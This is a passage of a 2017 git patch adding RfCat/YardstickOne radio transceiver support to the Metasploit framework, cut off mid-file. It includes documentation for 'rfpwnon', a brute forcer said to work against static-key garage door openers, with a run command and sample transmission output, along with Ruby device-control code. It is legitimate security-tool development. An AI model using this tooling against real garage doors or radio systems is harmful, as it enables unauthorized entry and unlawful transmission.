From 2fde287424e3f28330d29b8ae69ccc41b308c5ff Mon Sep 17 00:00:00 2001 From: Craig Smith Date: Fri, 10 Feb 2017 13:47:19 -0800 Subject: [PATCH 1/3] Initial patch for rftransceiver (RfCat / YardstickOne) --- .../post/hardware/rftransceiver/rfpwnon.md | 88 +++ .../hardware/rftransceiver/transmitter.md | 40 ++ lib/msf/base/sessions/hwbridge.rb | 9 + lib/msf/core/post/hardware.rb | 1 + .../hardware/rftransceiver/rftransceiver.rb | 298 +++++++++ lib/rex/post/hwbridge/client.rb | 15 + .../extensions/rftransceiver/rftransceiver.rb | 203 ++++++ .../ui/console/command_dispatcher/core.rb | 38 ++ .../command_dispatcher/rftransceiver.rb | 587 ++++++++++++++++++ modules/auxiliary/client/hwbridge/connect.rb | 3 + .../post/hardware/rftransceiver/rfpwnon.rb | 153 +++++ .../hardware/rftransceiver/transmitter.rb | 60 ++ 12 files changed, 1495 insertions(+) create mode 100644 documentation/modules/post/hardware/rftransceiver/rfpwnon.md create mode 100644 documentation/modules/post/hardware/rftransceiver/transmitter.md create mode 100644 lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb create mode 100644 lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb create mode 100644 lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb create mode 100644 modules/post/hardware/rftransceiver/rfpwnon.rb create mode 100644 modules/post/hardware/rftransceiver/transmitter.rb diff --git a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md new file mode 100644 index 0000000000..c7f3f8899c --- /dev/null +++ b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md @@ -0,0 +1,88 @@ +Brute force utility by LegacySecurityGroup and the original can be found +[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py). +It's a generic AM/OOK brute forcer with PWM translations. It has been +demonstrated to work against static key garage door openers. + +## Options ## + + **FREQ** + + Frequency to brute force. + + **BAUD** + + Baud rate: Default: 2000 + + **BINLENGTH** + + Binary bit-length for bruteforcing. Default: 8 + + **REPEAT** + + How many times to repeat the sending of the packet. Default: 5 + + **PPAD** + + Binary data to append to packet. Example: "0101" Default: None + + **TPAD** + + Binary data to add to end of packet. Example: "0101" Default: None + + **RAW** + + Do not do PWM encoding on packet, Default: False + + **TRI** + + Use trinary signals. Default False + + **EXTRAVERBOSE** + + Adds some extra status messages + + **INDEX** + + USB Index number. Default 0 + + **DELAY** + + How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default 0.5 seconds (500) + +## Scenarios + + Run a brute force of 6 characters long with 2 repeats: + +``` +hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2 + +[*] Generating de bruijn sequence... +[*] Brute forcing frequency: 915000000 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000000 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101110 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000000 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101110 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000001 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101000 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000001 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101000 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000010 +[*] Binary after PWM encoding: +[*] 11101110111011101110111010001110 +[*] Transmitting... +... +``` diff --git a/documentation/modules/post/hardware/rftransceiver/transmitter.md b/documentation/modules/post/hardware/rftransceiver/transmitter.md new file mode 100644 index 0000000000..048a49a718 --- /dev/null +++ b/documentation/modules/post/hardware/rftransceiver/transmitter.md @@ -0,0 +1,40 @@ +Simple module to transmit a given frequency for a specified amount of seconds. This +code was ported from [AndrewMohowk](https://github.com/AndrewMohawk). + +NOTE: Users of this module should be aware of their local laws, +regulations, and licensing requirements for transmitting on any +given radio frequency. + + +## Options ## + + **FREQ** + + Frequency to brute force. + + **BAUD** + + Baud rate: Default: 4800 + + **POWER** + + Power level to specify. Default: 100 + + **SECONDS** + + How many seconds to trnamit the signal. Default: 4 + + **INDEX** + + USB Index number. Default 0 + +## Scenarios + + Transmit a given signal for 4 seconds + +``` +hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000 + +[*] Transmitting on 433880000 for 15 seconds... +[*] Finished transmitting +``` diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb index 11e1d4b677..c8c3d0ec6f 100644 --- a/lib/msf/base/sessions/hwbridge.rb +++ b/lib/msf/base/sessions/hwbridge.rb @@ -167,6 +167,15 @@ class HWBridge < Rex::Post::HWBridge::Client console.disable_output = original end + # Loads the rftranceiver extension + # + def load_rftransceiver + original = console.disable_output + console.disable_output = true + console.run_single('load rftransceiver') + console.disable_output = original + end + # # Load custom methods provided by the hardware # diff --git a/lib/msf/core/post/hardware.rb b/lib/msf/core/post/hardware.rb index 7822a3182a..4f47914589 100644 --- a/lib/msf/core/post/hardware.rb +++ b/lib/msf/core/post/hardware.rb @@ -3,4 +3,5 @@ module Msf::Post::Hardware require 'msf/core/post/hardware/automotive/uds' require 'msf/core/post/hardware/automotive/dtc' require 'msf/core/post/hardware/zigbee/utils' + require 'msf/core/post/hardware/rftransceiver/rftransceiver' end diff --git a/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb new file mode 100644 index 0000000000..63857d9f69 --- /dev/null +++ b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb @@ -0,0 +1,298 @@ +# -*- coding: binary -*- +module Msf +class Post +module Hardware +module RFTransceiver + +module RFTransceiver + + attr_accessor :index + + # Validates success of a function call + # @param r [Hash] A hash in expected format { "success" => true } + # @return [Boolean] if success is true or not, returns false if hash is wrong + def return_success(r) + return false if not r + return false if not r.has_key? "success" + return r["success"] + end + + # Checks to see if this module is a RF Transceiver module + # @return [Boolean] true if client.rftransceiver is loaded + def is_rf? + return true if client.rftransceiver + print_error("Not an RFTransceiver module") + return false + end + + # Returns a list of supported USB indexes by relay + # @return [Array] Example: [ 0, 1 ] + def get_supported_indexes + return [] if not is_rf? + r = client.rftransceiver.supported_idx + if r.has_key? "indexes" + return r["indexes"] + end + print_error("Invalid response from relay") + return [] + end + + # + # Sets the target USB index + # @param idx [Integer] + def set_index(idx) + self.index = idx + end + + # + # Sets the frequency + # @param freq [Integer] Example: 433000000 + # @param mhz [Integer] Optional Mhz + # @return [Boolean] success value + def set_freq(freq, mhz=-1) + return false if not is_rf? + self.index ||= 0 + opts = {} + opts["mhz"] = mhz if not mhz == -1 + r = client.rftransceiver.set_freq(self.index, freq, opts) + return_success(r) + end + + # + # Sets the mode TX, RX or Idle + # @param mode [String] Mode type TX/RX/IDLE + # @return [Boolean] success value + def set_mode(mode) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_mode(self.index, mode) + return_success(r) + end + + # + # Gets supported modulations + # @return [Array] String list of modulations + def get_modulations + return [] if not is_rf? + self.index ||= 0 + return client.rftransceiver.get_supported_modulations(self.index) + end + + # + # Sets the modulation + # @param mod [String] Example ASK/OOK + # @return [Boolean] success value + def set_modulation(mod) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_modulation(self.index, mod) + return_success(r) + end + + # + # Sets packet's fixed length + # @param len [Integer] Length of packet + # @return [Boolean] success value + def set_flen(len) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.make_pkt_flen(self.index, len) + return_success(r) + end + + # + # Sets packet's variable length + # @param len [Integer] Length of packet + # @return [Boolean] success value + def set_vlen(len) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.make_pkt_vlen(self.index, len) + return_success(r) + end + + # + # Transmits a RF Packet. All data is base64 encoded before transmition to relay + # @param data [String] Blog of data stored in a string. Could be binary + # @param repeat [Integer] Optional Repeat transmission + # @param offset [Integer] Optional Offset within data section + # @return [Boolean] success value + def rfxmit(data, repeat=-1, offset=-1) + return false if not is_rf? + self.index ||= 0 + opts = {} + opts["repeat"] = repeat if not repeat == -1 + opts["offset"] = offset if not offset == -1 + r = client.rftransceiver.rfxmit(self.index, data, opts) + return_success(r) + end + + # + # Receive a packet + # @param timeout [Integer] Optional timeout value + # @param blocksize [Integer] Optional blocksize + # @return [String] Base64 decoded data, could be binary + def rfrecv(timeout = -1, blocksize = -1) + return "" if not is_rf? + self.index ||= 0 + opts["timeout"] = timeout if not timeout == -1 + opts["blocksize"] = blocksize if not blocksize == -1 + client.rftransceiver.rfrecv(self.index, opts) + end + + # + # Enable packet CRC + # @return [Boolean] success value + def enable_crc + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.enable_packet_crc(self.index) + return_success(r) + end + + # + # Enable Manchester encoding + # @return [Boolean] success value + def enable_manchester + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.enable_manchester(self.index) + return_success(r) + end + + # + # Sets the channel + # @param channel [Integer] Channel number + # @return [Boolean] success value + def set_channel(channel) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_channel(self.index, channel) + return_success(r) + end + + # + # Sets the channel bandwidth + # @param bandwidth [Integer] Bandwidth value + # @param mhz [Integer] Mhz + # @return [Boolean] success value + def set_channel_bw(bandwidth, mhz=-1) + return false if not is_rf? + self.index ||= 0 + opts = {} + opts["mhz"] = mhz if not mhz == -1 + r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts) + return_success(r) + end + + # + # Calculates the appropriate exponent and mantissa and updates the correct registers + # chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly. + # only use one or the other: + # * chanspc + # * chanspc_m and chanspc_e + # @param chanspc [Integer] + # @param chanspc_m [Integer] + # @param chanspc_e [Integer] + # @param mhz [Integer] Mhz + # @return [Boolean] success value + def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1) + return false if not is_rf? + self.index ||= 0 + opts = {} + opts["chanspc"] = chanspc if not chanspc == -1 + opts["chanspc_m"] = chanspc_m if not chanspc_m == -1 + opts["chanspc_e"] = chanspc_e if not chanspc_e == -1 + opts["mhz"] = mhz if not mhz == -1 + r = client.rftransceiver.set_channel_spc(self.index, opts) + return_success(r) + end + + # + # Sets the baud rate + # @param baud [Integer] baud rate + # @param mhz [Integer] Optional Mhz + # @return [Boolean] success value + def set_baud(baud, mhz=-1) + return false if not is_rf? + self.index ||= 0 + opts = {} + opts["mhz"] = mhz if not mhz == -1 + r = client.rftransceiver.set_baud_rate(self.index, baud, opts) + return_success(r) + end + + # + # Sets the deviation + # @param deviat [Integer] deviat value + # @param mhz [Integer] Optional mhz + # @return [Boolean] success value + def set_deviation(deviat, mhz=-1) + return false if not is_rf? + self.index ||= 0 + opts = {} + opts["mhz"] = mhz if not mhz == -1 + r = client.rftransceiver.set_deviation(self.index, deviat, opts) + return_success(r) + end + + # + # Sets sync word + # @param word [Integer] Sync word + # @return [Boolean] success value + def set_sync_word(word) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_sync_word(self.index, word) + return_success(r) + end + + # + # Sets the sync mode + # @param mode [Integer] Mode + # @return [Boolean] success value + def set_sync_mode(mode) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_sync_mode(self.index, mode) + return_success(r) + end + + # + # Sets the number of preamble bits + # @param bits [Integer] number of preamble bits to use + # @return [Boolean] success value + def set_preamble(bits) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_number_preamble(self.index, bits) + return_success(r) + end + + # + # Sets the power to max. Ensure you set the frequency first before using this + # @return [Boolean] success value + def max_power + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_maxpower(self.index) + return_success(r) + end + + # + # Set power level + # @param level [Integer] Power level + # @return [Boolean] success value + def set_power(level) + return false if not is_rf? + self.index ||= 0 + r = client.rftransceiver.set_power(self.index, level) + return_success(r) + end +end + +end +end +end +end + diff --git a/lib/rex/post/hwbridge/client.rb b/lib/rex/post/hwbridge/client.rb index ea6453499e..f782b0fe17 100644 --- a/lib/rex/post/hwbridge/client.rb +++ b/lib/rex/post/hwbridge/client.rb @@ -70,6 +70,21 @@ class Client send_request("/custom_methods") end + # + # Sends a reset signal to the device to perform a software bounce or a full + # factory reset. Depends on how the device decided to handle it + # + def reset + send_request("/control/factory_reset") + end + + # + # Sends a reboot signal to reboot the device. + # + def reboot + send_request("/control/reboot") + end + ## # # Alias processor diff --git a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb new file mode 100644 index 0000000000..bdedfd6a34 --- /dev/null +++ b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb @@ -0,0 +1,203 @@ +# +# -*- coding: binary -*- +require 'rex/post/hwbridge/client' + +module Rex +module Post +module HWBridge +module Extensions +module RFTransceiver + +### +# RF Tranceiver extension - set of commands to be executed on Trancievers like the TI cc11XX +### + +class RFTransceiver < Extension + + def initialize(client) + super(client, 'rftransceiver') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'rftransceiver', + 'ext' => self + } + ]) + end + + # Gets supported USB Indexes + # @return [Array] Indexes + def supported_idx + client.send_request("/rftransceiver/supported_idx") + end + + # Sets the frequency + # @param idx [Integer] HW Index + # @param opt [Hash] Optional: "mhz" => 24 + # @param freq [Integer] Frequency to set + def set_freq(idx, freq, opt={}) + request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}" + request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz" + client.send_request(request) + end + + # Retrieves a list of supported Modulations + # @param idx [Integer] HW Index + # @return [Array] of Modulation strings + def get_supported_modulations(idx) + client.send_request("/rftransceiver/#{idx}/get_modulations") + end + + # Sets the mode + # @param idx [Integer] HW Index + # @param mode [String] Either RX, TX or IDLE + def set_mode(idx, mode) + client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}") + end + + # Sets the modulation value + # @param idx [Integer] HW Index + # @param mod [String] Modulation Technique + def set_modulation(idx, mod) + client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}") + end + + # Sets fixed packet len + # @param idx [Integer] HW Index + # @param len [Integer] Length to set + def make_pkt_flen(idx, len) + client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}") + end + + # Sets variable packet len + # @param idx [Integer] HW Index + # @param len [Integer] Length to set + def make_pkt_vlen(idx, len) + client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}") + end + + # Transmits data + # @param idx [Integer] HW Index + # @param data [String] Data to transmit + # @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer + def rfxmit(idx, data, opt={}) + data = Base64.encode64(data) + request = "/rftransceiver/#{idx}/rfxmit?data=#{data}" + request += "&repeat=#{opt["repeat"]}" if opt.has_key? "repeat" + request += "&offset=#{opt["offset"]}" if opt.has_key? "offset" + client.send_request(request) + end + + # Receives a packet + # @param idx [Integer] HW Index + # @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer + # @return [Hash] "data" => "timestamp" => When it was received + def rfrecv(idx, opt={}) + request = "/rftransceiver/#{idx}/rfrecv" + if opt.size() > 0 + first = true + request += "?" + if opt.has_key? "timeout" + request += "timeout=#{opt["timeout"]}" + first = false + end + if opt.has_key? "blocksize" + request += "&" if not first + request += "blocksize=#{blocksize}" + end + end + data = client.send_request(request) + # Note the data is initially base64 encoded + if data.size() > 0 + data["data"] = Base64.decode64(data["data"]) if data.has_key? "data" + end + data + end + + def enable_packet_crc(idx) + client.send_request("/rftransceiver/#{idx}/enable_packet_crc") + end + + def enable_manchester(idx) + client.send_request("/rftransceiver/#{idx}/enable_machester") + end + + def set_channel(idx, channel) + client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}") + end + + def set_channel_bandwidth(idx, bandwidth, opt={}) + request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}" + request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz" + client.send_request(request) + end + + def set_channel_spc(idx, opt={}) + request = "/rftransceiver/#{idx}/set_channel_spc" + if opt.size > 0 + request += "?" + first = true + if opt.has_key? "chanspc" + request += "chanspc=#{opt["chanspc"]}" + first = false + end + if opt.has_key? "chanspc_m" + request += "&" if not first + request += "chanspc_m=#{opt["chanspc_m"]}" + first = false + end + if opt.has_key? "chanspc_e" + request += "&" if not first + request += "chanspc_e=#{opt["chanspc_e"]}" + first = false + end + if opt.has_key? "mhz" + request += "&" if not first + request += "mhz=#{opt["mhz"]}" + end + end + client.send_request(request) + end + + def set_baud_rate(idx, rate, opt={}) + request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}" + request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz" + client.send_request(request) + end + + def set_deviation(idx, deviat, opt={}) + request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}" + request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz" + client.send_request(request) + end + + def set_sync_word(idx, word) + client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}") + end + + def set_sync_mode(idx, mode) + client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}") + end + + def set_number_preamble(idx, num) + client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}") + end + + def set_maxpower(idx) + client.send_request("/rftransceiver/#{idx}/set_maxpower") + end + + def set_power(idx, power) + client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}") + end +end + +end +end +end +end +end + diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb index 514595cb35..cb217626b0 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb @@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core "bglist" => "Lists running background scripts", "status" => "Fetch bridge status information", "specialty" => "Hardware devices specialty", + "reset" => "Resets the device. Some devices this is a full factory reset", + "reboot" => "Reboots the device. Usually only supported by stand-alone devices", "load_custom_methods" => "Loads custom HW commands if any" } @@ -177,6 +179,9 @@ class Console::CommandDispatcher::Core op = "No" if status["operational"] == 2 print_status("Operational: #{op}") end + print_status("Device: #{status["device_name"]}") if status.has_key? "device_name" + print_status("FW Version: #{status["fw_version"]}") if status.has_key? "fw_version" + print_status("HW Version: #{status["hw_version"]}") if status.has_key? "hw_version" end def cmd_specialty_help @@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core print_line client.exploit.hw_specialty.to_s end + def cmd_reset_help + print_line("Resets the device. In some cases this can be used to perform a factory reset") + print_line + end + + # + # Performs a device reset or factory reset + # + def cmd_reset(*args) + if args.length > 0 + cmd_reset_help + return + end + client.reset + end + + def cmd_reboot_help + print_line("Reboots the device. This command typically only works on independent devices that") + print_line("are not attached to a laptop or other system") + print_line + end + + # + # Perform a device reboot + # + def cmd_reboot(*args) + if args.length > 0 + cmd_reboot_help + return + end + client.reboot + end + def cmd_load_custom_methods_help print_line("Usage: load_custom_methods") print_line diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb new file mode 100644 index 0000000000..5b54e11004 --- /dev/null +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb @@ -0,0 +1,587 @@ +# -*- coding: binary -*- +require 'rex/post/hwbridge' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module HWBridge +module Ui +### +# Automotive extension - set of commands to be executed on CAN bus +### +class Console::CommandDispatcher::RFtransceiver + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'supported_idx' => 'suppored USB indexes', + 'idx' => 'sets an active idx', + 'freq' => 'sets the frequency', + 'modulation' => 'sets the modulation', + 'flen' => 'sets the fixed length packet size', + 'vlen' => 'sets the variable lenght packet size', + 'xmit' => 'transmits some data', + 'recv' => 'receive a packet of data', + 'enable_crc' => 'enables crc', + 'enable_manchester' => 'enales manchester encoding', + 'channel' => 'sets channel', + 'channel_bw' => 'sets the channel bandwidth', + 'baud' => 'sets the baud rate', + 'deviation' => 'sets the deviation', + 'sync_word' => 'sets the sync word', + 'preamble' => 'sets the preamble number', + 'power' => 'sets the power level', + 'maxpower' => 'sets max power' + } + + all + end + + def cmd_supported_idx + indexes = client.rftransceiver.supported_idx + if not indexes or not indexes.has_key? "indexes" + print_line("error retrieving index list") + return + end + indexes = indexes["indexes"] + if not indexes.size > 0 + print_line("none") + return + end + self.idx = indexes[0].to_i if indexes.size == 0 + str = "Supported Indexes: " + str += indexes.join(', ') + str += "\nUse idx to set your desired bus, default is 0" + print_line(str) + end + + # + # Sets the USB IDS + # + def cmd_idx(*args) + self.idx = 0 + idx_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-i' => [ true, 'USB index, default 0'] + ) + idx_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: idx -i \n") + print_line(idx_opts.usage) + return + when '-i' + self.idx = val + end + end + print_line("set index to #{self.idx}") + end + + def cmd_freq_help + print_line("Sets the RF Frequency\n") + print_line("Usage: freq -f ") + print_line("\nExample: freq -f 433000000") + end + + # + # Takes the results of a client request and prints Ok on success + # + def print_success(r) + if r.has_key? "success" and r["success"] == true + print_line("Ok") + else + print_line("Error") + end + end + + # + # Sets the frequency + # + def cmd_freq(*args) + self.idx ||= 0 + freq = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-f' => [ true, 'frequency to set, example: 433000000'], + '-m' => [ true, 'Mhz, default is 24'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: freq -f \n") + print_line(opts.usage) + return + when '-f' + freq = val.to_i + when '-m' + mhz = val.to_i + end + end + if freq == -1 + cmd_freq_help + return + end + arg["mhz"] = mhz if mhz + r = client.rftransceiver.set_freq(idx, freq, arg) + print_success(r) + end + + def cmd_modulation_help + print_line("Usage: modulation -M \n") + print_line("Modulation names:\n") + print_line(" #{client.rftransceiver.get_supported_modulations(idx)}") + print_line("\nExample: modulation -M ASK/OOK") + end + + # + # Sets the modulation + # + def cmd_modulation(*args) + self.idx ||= 0 + mod = nil + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-M' => [ true, 'Modulation name, See help for options'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + cmd_modulation_help + print_line(opts.usage) + return + when '-M' + mod = val + end + end + if not mod + cmd_modulation_help + return + end + r = client.rftransceiver.set_modulation(idx, mod) + print_success(r) + end + + # + # Sets the fixed length + # + def cmd_flen(*args) + self.idx ||= 0 + flen = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-l' => [ true, 'Fixed Length'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: flen -l \n") + print_line(opts.usage) + return + when '-l' + flen = val.to_i + end + end + if flen == -1 + print_line("You must specify a length") + return + end + r = client.rftransceiver.make_pkt_flen(idx, flen) + print_success(r) + end + + # + # Sets the variable length + # + def cmd_vlen(*args) + self.idx ||= 0 + vlen = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-l' => [ true, 'Variable Length'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: vlen -l \n") + print_line(opts.usage) + return + when '-l' + vlen = val.to_i + end + end + if vlen == -1 + print_line("You must specify a length") + return + end + r = client.rftransceiver.make_pkt_vlen(idx, vlen) + print_success(r) + end + + # + # Xmit packet + # + def cmd_xmit(*args) + self.idx ||= 0 + data = nil + repeat = -1 + offset = -1 + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Variable Length'], + '-r' => [ true, 'Repeat'], + '-o' => [ true, 'Data offset'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: xmit -d \n") + print_line(opts.usage) + return + when '-d' + data = val + when '-r' + repeat = val.to_i + when '-o' + offset = val.to_i + end + end + if not data + print_line("You must specify the data argument (-d)") + return + end + arg["repeat"] = repeat if not repeat == -1 + arg["offset"] = offset if not offset == -1 + r = client.rftransceiver.rfxmit(idx, data, arg) + print_success(r) + end + + # + # Recieve data packet + # + def cmd_recv(*args) + self.idx ||= 0 + arg = {} + timeout = -1 + blocksize = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-t' => [ true, 'timeout'], + '-b' => [ true, 'blocksize'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: recv\n") + print_line(opts.usage) + return + when '-t' + timeout = val.to_i + when '-b' + blocksize = val.to_i + end + end + arg["blocksize"] = blocksize if not blocksize == -1 + arg["timeout"] = timeout if not timeout == -1 + r = client.rftransceiver.rfrecv(idx, arg) + if r.has_key? "data" and r.has_key? "timestamp" + print_line(" #{r["timestamp"]}: #{r["data"].inspect}") + else + print_line("Error") + end + end + + # + # Enable CRC + # + def cmd_enable_crc(*args) + self.idx ||= 0 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: enable_crc\n") + print_line(opts.usage) + return + end + end + r = client.rftransceiver.enable_packet_crc(idx) + print_success(r) + end + + # + # Enable Manchester encoding + # + def cmd_enable_manchester(*args) + self.idx ||= 0 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: enable_manchester\n") + print_line(opts.usage) + return + end + end + r = client.rftransceiver.enable_manchester(idx) + print_sucess(r) + end + + # + # Set channel + # + def cmd_channel(*args) + self.idx ||= 0 + channel = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-c' => [ true, 'Channel number'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel -c \n") + print_line(opts.usage) + return + when '-c' + channel = val.to_i + end + end + if channel == -1 + print_line("You must specify a channel number") + return + end + r = client.rftransceiver.set_channel(idx, channel) + print_success(r) + end + + # + # Set channel bandwidth + # + def cmd_channel_bw(*args) + self.idx ||= 0 + bandwidth = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-b' => [ true, 'Bandwidth'], + '-m' => [ true, 'Mhz'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel_bw -b \n") + print_line(opts.usage) + return + when '-b' + bandwidth = val.to_i + when '-m' + mhz = val.to_i + end + end + if bandwidth == -1 + print_line("You must specify the bandwidth (-b)") + return + end + arg["mhz"] = mhz if mhz + r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg) + print_success(r) + end + + # + # Set baud rate + # + def cmd_baud(*args) + self.idx ||= 0 + baud = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-b' => [ true, 'Baud rate'], + '-m' => [ true, 'Mhz'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: baud -b \n") + print_line(opts.usage) + return + when '-b' + baud = val.to_i + when '-m' + mhz = val.to_i + end + end + if baud == -1 + print_line("You must specify a baud rate") + return + end + arg["mhz"] = mhz if mhz + r = client.rftransceiver.set_baud_rate(idx, baud, arg) + print_success(r) + end + + # + # Set Deviation + # + def cmd_deviation(*args) + self.idx ||= 0 + deviat = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Deviat'], + '-m' => [ true, 'Mhz'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: deviation -d \n") + print_line(opts.usage) + return + when '-d' + deviat = val.to_i + when '-m' + mhz = val.to_i + end + end + if deviat == -1 + print_line("You must specify a deviat value") + return + end + arg["mhz"] = mhz if mhz + r = client.rftransceiver.set_deviation(idx, deviat, arg) + print_success(r) + end + + # + # Set Sync word + # + def cmd_sync_word(*args) + self.idx ||= 0 + word = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-w' => [ true, 'Sync word (Integer)'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: sync_word -w \n") + print_line(opts.usage) + return + when '-w' + word = val.to_i + end + end + if word == -1 + print_line("you must specify a sync word") + return + end + r = client.rftransceiver.set_sync_word(idx, word) + print_success(r) + end + + def cmd_preamble_help + print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count") + print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes") + end + + # + # Set Preamble size + # + def cmd_preamble(*args) + self.idx ||= 0 + preamble = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-n' => [ true, 'Number of preamble'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: preamble -n \n") + print_line(opts.usage) + return + when '-n' + preamble = val.to_i + end + end + if preamble == -1 + print_line("You must specify the number of preamble bits") + return + end + r = client.rftransceiver.set_number_preamble(idx, preamble) + print_success(r) + end + + def cmd_maxpower_help + print_line("Max power is frequency dependent. Set frequency first") + end + + # 